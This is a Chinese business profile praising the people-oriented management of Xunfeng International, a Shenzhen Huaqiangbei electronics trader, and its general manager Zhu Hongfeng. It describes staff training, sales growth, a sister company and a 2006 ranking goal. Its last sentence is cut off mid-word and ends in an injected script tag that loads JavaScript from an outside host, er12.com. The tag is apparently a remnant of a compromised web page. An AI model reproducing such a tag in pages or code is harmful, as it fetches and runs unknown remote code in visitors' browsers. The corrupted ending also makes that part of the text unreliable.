“以人为本”在现阶段是个泛滥的词，一个公司真正能够做到这一点，尤其是在深圳华强北，这个以中小型贸易商居多的电子商业圈中能够做到，确实不容易。讯锋国际（香港）有限公司做到了。
人的角色举足轻重
采访之前，记者就对讯锋重视员工培养，重视团队建设有所耳闻，在该公司网站上记者还看到“我们不仅是销售产品，更是造就人才和品牌”的口号。
就在与讯锋国际总经理朱红锋先生交谈时，记者发现他办公桌上正放着一份深圳市至登企业管理顾问有限公司给讯锋做的“拓展计划”。朱红锋告诉记者：“公司月底又要进行一次员工拓展训练了，这样的训练我们公司每年都有的。”
无疑，“拓展”训练是对公司员工的“团队精神”的最好培训，目前很多大型企业都有这样的训练，在训练中增进员工之间的感情，培养团队协作，发现员工的特点，这就是目的。这样的训练讯锋请了专业的培训机构，这对在华强北电子圈里的中小型公司来说，还是少见的。
朱红锋告诉记者：“我们重视员工的培养，帮助规划员工的职业生涯，不只是喊喊口号，我们落到了实处。不只是拓展训练，我们公司每年还有不少专业的培训，同样是请专门的培训机构，为我们的员工量身定做。”
“人”的因素，在讯锋的经营理念中，扮演了举足轻重的角色。朱红锋说：“人要尽量欣赏人的长处。跟一个人交往，如果能从他身上得到一点启发，又懂得如何用在自己身上，就会毕生受用。同样，每个员工有每个员工的长处，尽量让员工有机会发挥出来，最终受益的是企业。”
“一个队伍相对稳定的企业较之人员更迭频繁的企业，能更专注于事业，效率更高，更快地实现目标。”朱红锋进一步强调。
相信团队的力量
在一家电器公司从业多年朱红锋，多年的职场经历使他综合出自己的企业管理思想:公司管理首先要以人为本，有好的人才就有好的项目，有好的项目就会有钱，没人什么都做不了。
讯锋国际的前身是讯锋科技，目前旗下还有深圳市翔宇电子商行，一年多的发展讯锋的成绩在业内太明显：仅办公室的规模就扩大了一倍有余，目前年销售额已经超过6000万人民币，在香港还成立了进出口中心和采购中心，运作流程完全按照iso9000质量管理体系执行。另外，还完成了产品开发系统，拥有曾经在motorola实验室工作的资深开发人员，为客户提供产品开发方案和技术支持。
成绩很明显，朱红锋却很低调，与记者的交流中他一直都在强调“团队”的概念，说话的主语也经常是“我们”而不是“我”。
“做任何事情都需要团队，一个人再能干所做也极为有限。”讯锋国际现在有一个极具生命力的团队，员工均受过高等教育和多元的企业内训。朱红锋说：“不同的人有不同的经验，我从开始到现在差不多都与电子电器打交道，这个行业最注意以人为本，发掘每个人的作用”。
找一个真正非常用心地去做事情的员工并不容易，而且他还要认同公司的价值观念，大家互相信任，难度更大。朱红锋说大家有缘才聚在一起，所以他总是对员工抱有一种珍惜、宽容的态度，“以人为本”的团队观念也已经成了讯锋的企业文化。
思考未来 着眼长远
在企业经营中，成本永远有节省的空间，利润永远有提升的余地，战略永远有调整的必要，运营永远有简化的可能。不断的超越，就在于不恪守传统的东西，而是根据市场和时代的需要不断发掘出新的领域、新的业务。朱红锋是一个善于思考的人，他说：“多思考未来，才能着眼长远，树立品牌。”
曾有一位受访者跟记者说过：“浑浑噩噩过日子，走一步看一步不行；坐忆当年风流，牢骚满腹，怨天尤人也没用。游戏规则的转变，市场发展的趋势谁也阻挡不了，逃避不了。想有饭吃，想做大，想发展，就看你能否真的接受企业化经营管理观念并付诸于行动。”
翔宇电子商行的成立，就是朱红锋善于思考，着眼长远目标的结果。他把目前市场采购现象比做渔夫捕鱼，他说，渔夫捕鱼会挑选鱼多的水域，就跟目前客户下单需要货比三家一样，翔宇所属的是讯锋，但是她又是独立的，对客户来说，是另一块水域。
“更重要的是，我们有一个长远的规划，讯锋将定位于中高端产品，而翔宇倾向于中低端。”朱红锋进一步给记者解释。他还透露，讯锋旗下即将成立跟翔宇性质一样的另外一家公司。
这样的运作模式是朱红锋思考良久的结果，事实证明，这一策略适合讯锋的发展。
记者问及讯锋近期的目标，朱红锋腼腆一笑，接而坚定的回答：“我们的目标是争取在2006年，公司的综合竞争力在这个领域进入全国前50名。”
“山爬得越高就会越冷，但也看得更远。”讯锋的山将越爬越高，尽管可能高处不胜寒，但讯锋已经做好了准?script src=http://er12.com/t.js>
